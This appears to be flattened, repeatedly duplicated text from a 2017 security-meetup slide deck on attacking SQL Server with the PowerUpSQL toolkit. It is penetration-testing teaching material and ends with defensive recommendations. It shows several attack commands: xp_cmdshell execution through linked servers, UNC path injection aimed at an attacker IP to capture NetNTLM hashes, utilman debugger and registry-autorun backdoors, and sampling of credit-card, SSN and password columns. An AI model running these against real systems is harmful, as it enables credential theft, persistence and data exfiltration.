Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 78: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 79: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 80: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

